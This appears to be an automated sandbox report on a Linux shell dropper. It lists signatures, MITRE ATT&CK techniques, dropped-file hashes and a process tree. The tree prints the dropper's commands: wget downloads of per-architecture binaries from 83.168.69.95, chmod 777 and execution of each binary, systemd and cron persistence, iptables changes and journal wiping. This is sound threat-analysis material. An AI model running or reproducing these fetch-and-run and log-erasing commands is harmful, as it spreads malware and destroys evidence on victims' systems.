Overview

overview

7

Static

static

1

hggseiqwekf.sh

ubuntu-18.04-amd64

7

hggseiqwekf.sh

debian-9-armhf

7

hggseiqwekf.sh

debian-9-mips

7

hggseiqwekf.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/09/2026, 19:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    hggseiqwekf.sh
  • Size 1KB
  • Sample260930-xta29axx8m
  • SHA256 0eb78c66f18c4ddb360bda8e17f7d2c286a0ca3a485a1e59ec11197892200825
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Deletes system logs 1 TTPs 2 IoCs

    Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs

    Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Deletes log files 1 TTPs 6 IoCs

    Deletes log files on the system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 10 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/hggseiqwekf.sh
    /tmp/hggseiqwekf.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget http://83.168.69.95/x86_64
      2⤵
      • Writes file to tmp directory
      PID:644
    • /bin/chmod
      chmod 777 x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/x86_64
      ./x86_64
      2⤵
        PID:672
      • /usr/bin/wget
        wget http://83.168.69.95/aarch64
        2⤵
        • Writes file to tmp directory
        PID:674
      • /bin/chmod
        chmod 777 aarch64
        2⤵
        • File and Directory Permissions Modification
        PID:675
      • /tmp/aarch64
        ./aarch64
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://83.168.69.95/m68k
          2⤵
          • Writes file to tmp directory
          PID:678
        • /bin/chmod
          chmod 777 m68k
          2⤵
          • File and Directory Permissions Modification
          PID:682
        • /tmp/m68k
          ./m68k
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://83.168.69.95/mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:686
          • /bin/chmod
            chmod 777 mips
            2⤵
            • File and Directory Permissions Modification
            PID:695
          • /tmp/mips
            ./mips
            2⤵
            • System Network Configuration Discovery
            PID:696
          • /usr/bin/wget
            wget http://83.168.69.95/mipsel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:699
          • /bin/chmod
            chmod 777 mipsel
            2⤵
            • File and Directory Permissions Modification
            PID:707
          • /tmp/mipsel
            ./mipsel
            2⤵
            • System Network Configuration Discovery
            PID:709
          • /usr/bin/wget
            wget http://83.168.69.95/powerpc
            2⤵
            • Writes file to tmp directory
            PID:712
          • /bin/chmod
            chmod 777 powerpc
            2⤵
            • File and Directory Permissions Modification
            PID:720
          • /tmp/powerpc
            ./powerpc
            2⤵
              PID:723
            • /usr/bin/wget
              wget http://83.168.69.95/i486
              2⤵
              • Writes file to tmp directory
              PID:726
            • /bin/chmod
              chmod 777 i486
              2⤵
              • File and Directory Permissions Modification
              PID:738
            • /tmp/i486
              ./i486
              2⤵
                PID:739
              • /usr/bin/wget
                wget http://83.168.69.95/armv4l
                2⤵
                • Writes file to tmp directory
                PID:742
              • /bin/chmod
                chmod 777 armv4l
                2⤵
                • File and Directory Permissions Modification
                PID:744
              • /tmp/armv4l
                ./armv4l
                2⤵
                • Deletes itself
                • Deletes system logs
                • Modifies the /etc/hosts DNS resolution file
                • Creates/modifies Cron job
                • Deletes log files
                • Enumerates active TCP sockets
                • Modifies rc script
                • Modifies systemd
                • Changes its process name
                • Checks CPU configuration
                • Reads system network configuration
                • Reads runtime system information
                PID:745
                • /bin/sh
                  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable killer-helper.service 2>/dev/null"
                  3⤵
                    PID:755
                    • /bin/systemctl
                      systemctl daemon-reload
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:756
                    • /bin/systemctl
                      systemctl enable killer-helper.service
                      4⤵
                      • Enumerates kernel/hardware configuration
                      PID:778
                  • /usr/sbin/iptables
                    iptables -n -L LK_sh7f3a
                    3⤵
                      PID:771
                    • /sbin/iptables
                      iptables -n -L LK_sh7f3a
                      3⤵
                        PID:771
                      • /usr/sbin/iptables-restore
                        iptables-restore
                        3⤵
                        • System Network Configuration Discovery
                        PID:776
                      • /sbin/iptables-restore
                        iptables-restore
                        3⤵
                        • System Network Configuration Discovery
                        PID:776
                      • /usr/sbin/iptables-restore
                        iptables-restore
                        3⤵
                        • System Network Configuration Discovery
                        PID:777
                      • /sbin/iptables-restore
                        iptables-restore
                        3⤵
                        • System Network Configuration Discovery
                        PID:777
                      • /bin/sh
                        sh -c "journalctl --rotate --vacuum-time=1s 2>/dev/null"
                        3⤵
                          PID:832
                          • /bin/journalctl
                            journalctl --rotate "--vacuum-time=1s"
                            4⤵
                            • Reads runtime system information
                            PID:833
                      • /usr/bin/wget
                        wget http://83.168.69.95/armv5l
                        2⤵
                        • Writes file to tmp directory
                        PID:747

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Persistence

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          XDG Autostart Entries

                          1
                          T1547.013

                          Boot or Logon Initialization Scripts

                          1
                          T1037

                          RC Scripts

                          1
                          T1037.004

                          Create or Modify System Process

                          1
                          T1543

                          Systemd Service

                          1
                          T1543.002

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          XDG Autostart Entries

                          1
                          T1547.013

                          Boot or Logon Initialization Scripts

                          1
                          T1037

                          RC Scripts

                          1
                          T1037.004

                          Create or Modify System Process

                          1
                          T1543

                          Systemd Service

                          1
                          T1543.002

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Defense Evasion

                          File and Directory Permissions Modification

                          1
                          T1222

                          Linux and Mac File and Directory Permissions Modification

                          1
                          T1222.002

                          Indicator Removal

                          2
                          T1070

                          Clear Linux or Mac System Logs

                          2
                          T1070.002

                          Virtualization/Sandbox Evasion

                          1
                          T1497

                          System Checks

                          1
                          T1497.001

                          Credential Access

                          Adversary-in-the-Middle

                          1
                          T1557

                          Discovery

                          System Information Discovery

                          1
                          T1082

                          System Network Configuration Discovery

                          2
                          T1016

                          Internet Connection Discovery

                          1
                          T1016.001

                          System Network Connections Discovery

                          1
                          T1049

                          Virtualization/Sandbox Evasion

                          1
                          T1497

                          System Checks

                          1
                          T1497.001

                          Lateral Movement

                          Collection

                          Adversary-in-the-Middle

                          1
                          T1557

                          Command and Control

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          .hosts.tmp.LLVnLb
                          • Path /etc/.hosts.tmp.LLVnLb
                          • Size 257B
                          • SHA256 9650790a12186a92ee2e0a9f7720179e7b70c327d94eea4aaa6ea9c10f4d1792
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          killer-helper
                          • Path /etc/cron.d/killer-helper
                          • Size 45B
                          • SHA256 2401bba8cdbe1b2f259b6bac2acf553ddacea9e3f7e70dbc55a0edbec171794b
                          • MD5 SHA1 SHA512
                          Submit Download

                          hosts
                          • Path /etc/hosts
                          • Size 787B
                          • SHA256 05d62e58993b8f42799d495dc47e0942f062a41196cc340942dff98a465bd41c
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          rc.local
                          • Path /etc/rc.local
                          • Size 34B
                          • SHA256 39c3adba30914b4b1f783d4a6e064a69532f236ef273c9eb0dfdef32a9a7cefd
                          • MD5 SHA1 SHA512
                          Submit Download

                          killer-helper.service
                          • Path /etc/systemd/system/killer-helper.service
                          • Size 186B
                          • SHA256 84c3b3dd46f76cb9fffee80fda7ebcd57bbe0d5088b3eddff46b1beb3b0cf599
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          .killer-wd.pid.tmp.753
                          • Path /run/.killer-wd.pid.tmp.753
                          • Size 23B
                          • SHA256 ceda872de51ba8d593b5ce849ac22df74fca34911f6476b9048facac947e0a30
                          • MD5 SHA1 SHA512
                          Submit Download

                          .killer.pid.tmp.752
                          • Path /run/.killer.pid.tmp.752
                          • Size 23B
                          • SHA256 11f01629bbc7210e43813a7f75652d6e9a9188a574d77397f7a6dd6cf90b22a9
                          • MD5 SHA1 SHA512
                          Submit Download

                          .locker.pid.tmp.754
                          • Path /run/.locker.pid.tmp.754
                          • Size 23B
                          • SHA256 e4ca596acb6c59787a9b01a3ac047f592b909243416a963a8293463821db0441
                          • MD5 SHA1 SHA512
                          Submit Download

                          .locker.ready
                          • Path /run/.locker.ready
                          • Size 1B
                          • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
                          • MD5 SHA1 SHA512
                          Submit Download

                          .main.pid.tmp.748
                          • Path /run/.main.pid.tmp.748
                          • Size 17B
                          • SHA256 4a47aba23ec07bc5bc2bd67fd3d5d5324d50de0757222f1d5e7be106c4a1886e
                          • MD5 SHA1 SHA512
                          Submit Download

                          .sh7f3a.dis.list
                          • Path /run/.sh7f3a.dis.list
                          • Size 53B
                          • SHA256 3889767ade9a2ed22344bc4e9fcb84e02b354c1ba49b7be4ed1fba0c74da1e41
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          .sh7f3a.ip.rules
                          • Path /run/.sh7f3a.ip.rules
                          • Size 445B
                          • SHA256 dc5af067d2d6892686c1283dd5f65f7ff6eda65c9403c9cf31a4fe3b139dc62f
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          .watchdog.pid.tmp.754
                          • Path /run/.watchdog.pid.tmp.754
                          • Size 23B
                          • SHA256 7b7e6f07c22597280c88b23abe113ffda7d8149b2fe2b3bc6159f0fcdc86cc54
                          • MD5 SHA1 SHA512
                          Submit Download

                          .watchdog2.pid.tmp.754
                          • Path /run/.watchdog2.pid.tmp.754
                          • Size 23B
                          • SHA256 9f10ebdd97c729e95af5acfd0b37c54ec6bc22018aad8d5912d1644ba5ebfd99
                          • MD5 SHA1 SHA512
                          Submit Download

                          aarch64
                          • Path /tmp/aarch64
                          • Size 102KB
                          • SHA256 220bb6d582bde3777ceaafb0f41799ceacb2ed2282004f74931a630a6ca96cdb
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          armv4l
                          • Path /tmp/armv4l
                          • Size 73KB
                          • SHA256 ea22d883c27c84510c1208137f66fb0b6b620d686fadb95beab6080f97ab6976
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          armv5l
                          • Path /tmp/armv5l
                          • Size 72KB
                          • SHA256 106b32119792d252e44c5c0d14871877ed6510b409bad6bc56aad662278eaf50
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          i486
                          • Path /tmp/i486
                          • Size 63KB
                          • SHA256 f7a523cb4af925d39f70483e15164983dab3b51cbcadc7ba4dbc8590c3a171e5
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          m68k
                          • Path /tmp/m68k
                          • Size 211KB
                          • SHA256 3d45f0eb779d08c6764e6beb50c610988f0e701ca5c9477d2e575a5ff1b22970
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          mips
                          • Path /tmp/mips
                          • Size 81KB
                          • SHA256 3e7ca2e59c94d3423663ca1d57858a7e3f1fd1ad529840c0c0a583f31cc397e1
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          mipsel
                          • Path /tmp/mipsel
                          • Size 83KB
                          • SHA256 0c94af08212c8f30d62a6d1a0a03d872d9bfe07fb80b935ef155063c35cbb003
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          powerpc
                          • Path /tmp/powerpc
                          • Size 74KB
                          • SHA256 db02b4218c861714def17679d47d00ff0287b9100839a6fdc27b58562cdd45f3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          x86_64
                          • Path /tmp/x86_64
                          • Size 75KB
                          • SHA256 96bed7f389070781fe420b0367f75f4702a27e8d0b2d705c554c71c85874ccf6
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download